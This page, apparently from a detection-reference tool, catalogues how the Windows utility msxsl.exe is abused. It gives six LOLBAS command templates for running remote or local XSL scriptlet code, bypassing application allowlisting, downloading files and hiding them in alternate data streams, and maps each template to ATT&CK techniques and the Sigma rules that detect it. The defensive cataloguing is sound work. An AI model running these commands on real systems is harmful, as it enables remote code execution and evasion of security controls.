Ceplin Command Identifier

Identifier / Programs / Windows

msxsl.exe

LOLBAS Execute, AWL Bypass, Download, ADS 6 Sigma rules name it 3 ATT&CK techniques 6 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How msxsl.exe is abused

documented by LOLBAS

Execute T1220 XSL Script Processing

AWL Bypass T1220 XSL Script Processing

Download T1105 Ingress Tool Transfer

-o

ADS T1564 Hide Artifacts

-o

Each abuse is LOLBAS's category and the options and words it uses; the full write-up is on LOLBAS's page for msxsl.exe.

6 documented commands

from LOLBAS, each read by the identifier

Execute T1220 XSL Script Processing User privileges

Run COM Scriptlet code within the script.xsl file (local).

msxsl.exe {PATH:.xml} {PATH:.xsl}
Identify

Trips 1 Sigma rule: mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

AWL Bypass T1220 XSL Script Processing User privileges

Run COM Scriptlet code within the script.xsl file (local).

msxsl.exe {PATH:.xml} {PATH:.xsl}
Identify

Trips 1 Sigma rule: mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

Execute T1220 XSL Script Processing User privileges

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl}
Identify

Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

AWL Bypass T1220 XSL Script Processing User privileges

Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xml}
Identify

Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

Download T1105 Ingress Tool Transfer User privileges

Using remote XML and XSL files, save the transformed XML file to disk.

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}
Identify

Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

ADS T1564 Hide Artifacts User privileges

Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).

msxsl.exe {REMOTEURL:.xml} {REMOTEURL:.xsl} -o {PATH}:ads-name
Identify

Trips 2 Sigma rules: highRemote XSL Execution Via Msxsl.EXE by Swachchhanda Shrawan Poudel; mediumMsxsl.EXE Execution by Timur Zinniatullin, oscd.community

All 6 commands the identifier reads trip a Sigma process-creation rule. These commands and their descriptions are from LOLBAS’s entry for msxsl.exe, by Oddvar Moe, at commit 2056cb766250 of 2026-09-26, under the GPL-3.0 and LOLBAS’s notice, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on LOLBAS’s page for msxsl.exe. The identifier reads each with LOLBAS’s placeholders filled in: a URL as https://example.com/file, a share as \\192.0.2.10\share\file, a path as C:\Data\file and a command as calc.exe.

What detects it

Sigma process creation rules
highRemote XSL Execution Via Msxsl.EXESwachchhanda Shrawan Poudel
mediumMsxsl.EXE ExecutionTimur Zinniatullin, oscd.community
highSuspicious Microsoft OneNote Child ProcessTim Rauch (Nextron Systems), Nasreddine Bencherchali (Nextron Systems), Elastic (idea)
highSuspicious Microsoft Office Child ProcessFlorian Roth (Nextron Systems), Markus Neis, FPT.EagleEye Team, Vadim Khrykov, Cyb3rEng, Michael Haag, Christopher Peacock @securepeacock, @scythe_io
highPotential Defense Evasion Via Rename Of Highly Relevant BinariesMatthew Green - @mgreen27, Florian Roth (Nextron Systems), frack113
highSuspicious ShellExec_RunDLL Call Via OrdinalSwachchhanda Shrawan Poudel
T1105Ingress Tool Transfer
T1220XSL Script Processing
T1564Hide Artifacts